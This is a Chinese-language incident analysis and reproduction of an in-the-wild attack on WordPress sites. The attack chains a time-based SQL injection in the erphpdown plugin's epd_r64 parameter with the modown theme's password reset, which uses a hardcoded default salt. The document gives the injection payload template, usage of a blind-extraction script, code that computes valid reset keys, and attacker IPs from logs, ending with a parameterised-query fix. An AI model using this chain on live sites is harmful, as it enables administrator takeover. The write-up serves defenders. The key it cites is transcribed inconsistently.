某WordPress付费插件严重漏洞在野攻击分析以及漏洞复现

一、摘要

攻击链一句话：用 epd_r64 注入把数据库里 wp_users.user_activation_key 读出来，再按 modown 的公式 md5(盐 + key) 本地算出重置链接 key，就能合法走通重置密码流程。

二、攻击链全貌

两个关键事实：

1. 1. key 可读：user_activation_key 存在 wp_users 表，且 erphpdown 插件存在可注入点，任何登录用户都能把它读出来。
2. 2. key 可算：modown 重置校验用的是 md5(硬编码盐 + key)，盐是公开常量，攻击者离线即可算出合法重置 key。

2.1 获取管理员用户名的方式（攻击前置）

第 2 步"触发找回密码"是匿名开放接口，但要让系统为目标账号生成重置 key，必须先确定管理员用户名（或邮箱）。获取方式不限于默认 admin，常见手段如下：

路径说明：方式 ①②③④⑤ 仅需匿名访问即可完成；方式 ⑥ 依赖注入可用。任一路径拿到用户名后进入第 2 步，后续与上文攻击链一致：lostpassword/modown 写入新 key → 注入读出 → 离线算 reset_key → 重置页改密 → 接管。用户名本身不是利用的门槛，真正的门槛是注入是否可用。

三、漏洞审计

3.1 漏洞 1：erphpdown epd_r64 SQL 注入

文件：wp-content/plugins/erphpdown/includes/pay.erphp.php

入口函数 _epd_r64()（L420-427，挂 init，任意页面可触发）：

add_filter('init', '_epd_r64', 10);function _epd_r64(){    if(isset($_GET['epd_r64']) && $_GET['epd_r64']){        ...        global $wpdb;        $epd_v64 = base64_decode($_GET['epd_r64']);      // ① 无过滤解码        $epd_v64_arr = explode('-', $epd_v64);           // ② 按"-"切3段        if(is_array($epd_v64_arr) && count($epd_v64_arr) == 3){            $method = $epd_v64_arr[0];                    // ③ 第1段=支付方式=用户可控            $price  = $epd_v64_arr[1];            if(time()-$epd_v64_arr[2] > 60*30){          // ④ 第3段须为当前时间戳(30分钟内)                wp_die("链接已过期！");            }            ...            $epd_order = _epd_create_page_order($method, 'r', $price);  // ⑤ $method 直接传入

SQL 拼接点（L407-408）：

$sql="INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES    (...,'$payment',...)";          // $payment = $method，未转义$a=$wpdb->query($sql);

成因：

• • base64_decode 后没有任何转义 / 过滤；
• • 第 1 段 $method 原样传入 _epd_create_page_order()，最终未转义拼接进 INSERT；
• • 攻击者用 x',IF((条件),SLEEP(2),1),3,4)# 闭合引号、替换列值、# 注释尾部，构成时间盲注。

触发模板（第 3 段时间戳必须实时生成）：

epd_r64 = base64("x',IF((条件),SLEEP(2),1),3,4)#-10-<当前unix时间戳>")GET /?epd_r64=<URL编码后的base64>&ice_type=1

登录检查：_epd_create_page_order() 内有两次 "请先登录" 拦截（L27 无 post/type/ 未登录；L239 VIP 分支未开且未登录）。匿名请求会被 500 拦截，必须携带任意已登录用户的 Cookie 才能到达注入点（本次复现已验证）。

3.2 漏洞 2：modown 主题密码重置逻辑缺陷

文件：wp-content/themes/modown/action/login.php

生成 key（L199-205，action=password）：向 wp_users.user_activation_key 写入随机 key，同时发找回邮件。

校验并改密（L220-249，action=reset）：

// 校验：md5($md5_str . user_activation_key) == 传入的 reset_keyif(md5($md5_str.$user_data->user_activation_key) == $reset_key){    wp_set_password($new_password, $user_id);   // 直接改密}

关键缺陷：

• • 盐 $md5_str 默认硬编码 M2O7B4A8N5T9U0（后台选项 login_password_key 可覆盖，但多数站点未设置）；
• • 重置 key 公式公开可算：重置key = md5(SALT + user_activation_key)；
• • 只要攻击者能拿到 user_activation_key，就能离线构造合法重置链接。

3.3 组合利用关系

四、攻击流程时间线（日志证据）

来源：全量日志 597 万条（example.com.log.tar.gz），攻击行为集中于 2026-10-31。

15:14  221.216.116.71   探测 epd_r64 注入点（information_schema 试探，多行子查询报错500）17:17  114.254.2.211    POST /wp-content/themes/modown/action/login.php（触发找回密码）21:19  39.144.79.232    带登录Cookie的盲注序列（IF(1=2) → 200 0B，时间盲注提取）21:39  223.104.42.163   GET /login?action=reset_password&key=24998d4d6d2bb4aa2c5092d1754e4f3c&login=admin                        → 200 3265B（有效重置表单）21:39  223.104.42.163   POST /wp-login.php → 200 12096B（登录成功）

关键事实：

• • 多个 IP（223.104.42.163/153、221.216.116.71、39.144.79.232、114.254.2.211、220.205.248.15、203.114.90.19）共用同一重置 key 24998d4d6d2bb4ba2c5092d1754e4f3c 反复改密，说明攻击脚本共享、key 已公开流转；
• • 重置页有效 / 无效可区分（真实 key → 200/3251B 含【设置新密码】表单；伪造 / 空 key → 200/2069B 无效），主题确实执行 md5(盐+user_activation_key) 比对。

五、复现方式（已验证）

5.1 前置条件

1. 1. 站点存在未升级的 erphpdown 插件（pay.erphp.php 含 407 行未转义拼接）；
2. 2. 注册任意普通用户并登录，取得 Cookie（wordpress_logged_in_*、PHPSESSID）—— 注入点要求登录态；
3. 3. 目标：wp_users.ID=1（管理员 admin）。

5.2 注入点自检

IF((1=1),SLEEP(2),1) → 响应 ~2s（慢）IF((1=2),SLEEP(2),1) → 响应 <1s（快）

慢 / 快差异 = 注入存在。

5.3 盲注提取（脚本 epd_r64_blind_extract.py）

python epd_r64_blind_extract.py `  --cookie "wordpress_logged_in_xxx=值; PHPSESSID=值" `  --where "ID=1" --length 64

脚本特性：

• • 时间戳每次请求实时生成（满足 30 分钟窗口）；
• • 自动 base64 + URL 编码；
• • 注入点自检（--no-probe 可跳过）；
• • 二分提取 ASCII 32-126，逐字符 / 逐字段；
• • 表 / 字段 / WHERE 全参数化，可提任意内容。

5.4 离线算重置 key

import hashlibSALT = "M2O7B4A8N5T9U0"                      # 后台未设 login_password_key 时为默认盐key  = "<提取出的 user_activation_key>"reset_key = hashlib.md5((SALT + key).encode()).hexdigest()print(reset_key)

5.5 验证（只到 "验证" 为止，不含改密）

GET /login?action=reset_password&key=<reset_key>&login=admin→ 返回 200/3251B 且含【设置新密码】表单 = key 有效，攻击者视角的"合法重置链接"达成

复现脚本不包含实际提交新密码（POST action=reset），避免审计过程真正改密；日志攻击者最后一步为 POST 改密 + 登录。

六、调用关系

URL参数链：epd_r64 → base64_decode → explode('-')[:3] → [0]$method → _epd_create_page_order($method,'r',$price)          → INSERT INTO {$wpdb->icemoney} VALUES(...,'$payment',...) → $wpdb->query($sql)

七、缓解方案（按优先级）

代码级修复示例（插件升级前临时补丁）

// pay.erphp.php L407 原：$sql="INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,'$payment',...)";// 改为参数化：$wpdb->query($wpdb->prepare(    "INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,%s,...)",    $payment));// 或最小改动：$payment = esc_sql($payment);

八、交付物清单

 加固方案，我放到这里了：https://pan.xunlei.com/s/VP5M-xWDrUJRlzI3vHvSo1wgA1?pwd=47tw#